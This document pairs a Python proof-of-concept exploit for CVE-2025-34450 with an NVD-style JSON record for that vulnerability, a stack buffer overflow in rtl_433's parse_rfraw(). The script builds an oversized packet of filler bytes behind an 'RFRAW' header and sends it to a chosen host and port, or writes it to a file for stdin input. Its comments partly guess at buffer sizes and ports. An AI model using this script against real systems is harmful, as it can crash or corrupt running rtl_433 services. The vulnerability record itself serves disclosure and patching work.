CVE-2025-34450

#!/usr/bin/env python3 """ CVE-2025-34450 PoC - rtl_433 parse_rfraw() Stack Buffer Overflow This PoC demonstrates sending an oversized RF raw packet that could trigger the buffer overflow in parse_rfraw() function. Note: This is for educational and testing purposes only. """ import socket import struct import sys def create_malicious_rfraw_packet(): """ Create a malicious RFRAW packet that exceeds buffer bounds. The parse_rfraw() function in src/rfraw.c doesn't properly validate input length against the stack buffer size. """ # RFRAW protocol header header = b'RFRAW\x00' # Create oversized payload (> typical buffer size of 256-512 bytes) # This will overflow the stack buffer in parse_rfraw() overflow_size = 2048 # Significantly larger than expected buffer overflow_payload = b'A' * overflow_size # Construct the malicious packet packet = header + overflow_payload return packet def send_malicious_packet(target_host='127.0.0.1', target_port=5003): """ Send the malicious RFRAW packet to rtl_433 server. Default port for rtl_433 is typically 5003 (MQTT) or uses file input. """ try: packet = create_malicious_rfraw_packet() print(f"[*] Sending malicious RFRAW packet ({len(packet)} bytes)") print(f"[*] Overflow payload size: {len(packet) - len(b'RFRAW\x00')} bytes") # Try to connect to rtl_433 if running as server sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_host, target_port)) sock.send(packet) print("[+] Malicious packet sent successfully") sock.close() except Exception as e: print(f"[!] Error: {e}") print("[*] Note: rtl_433 may also accept input via file or named pipe") def create_malicious_input_file(filename='malicious_rfraw.txt'): """ Create a file that can be fed to rtl_433 via stdin or file input. """ packet = create_malicious_rfraw_packet() with open(filename, 'wb') as f: f.write(packet) print(f"[*] Created malicious input file: {filename}") print(f"[*] Usage: rtl_433 < {filename}") if __name__ == '__main__': print("="*60) print("CVE-2025-34450 PoC - rtl_433 Stack Buffer Overflow") print("="*60) if len(sys.argv) > 1 and sys.argv[1] == '--file': create_malicious_input_file() else: target = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1' port = int(sys.argv[2]) if len(sys.argv) > 2 else 5003 send_malicious_packet(target, port)

{"cve": {"id": "CVE-2025-34450", "sourceIdentifier": "[email protected]", "published": "2025-12-18T22:15:56.163", "lastModified": "2025-12-31T17:45:03.617", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "merbanan/rtl_433 versions up to and including 25.02 and prior to commit 25e47f8 contain a stack-based buffer overflow vulnerability in the function parse_rfraw() located in src/rfraw.c. When processing crafted or excessively large raw RF input data, the application may write beyond the bounds of a stack buffer, resulting in memory corruption or a crash. This vulnerability can be exploited to cause a denial of service and, under certain conditions, may be leveraged for further exploitation depending on the execution environment and available mitigations."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rtl_433_project:rtl_433:*:*:*:*:*:*:*:*", "versionEndIncluding": "25.02", "matchCriteriaId": "C1734A7D-1DD8-4764-88B1-3972F46DA576"}]}]}], "references": [{"url": "https://github.com/dd32/rtl_433/commit/25e47f8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/marlinkcyber/advisories/blob/main/advisories/MCSAID-2025-004-rtl_433-rfraw-parse-overflow.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/merbanan/rtl_433/issues/3375", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Patch"]}, {"url": "https://www.vulncheck.com/advisories/merbanan-rtl-433-stack-based-buffer-overflow", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/marlinkcyber/advisories/blob/main/advisories/MCSAID-2025-004-rtl_433-rfraw-parse-overflow.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}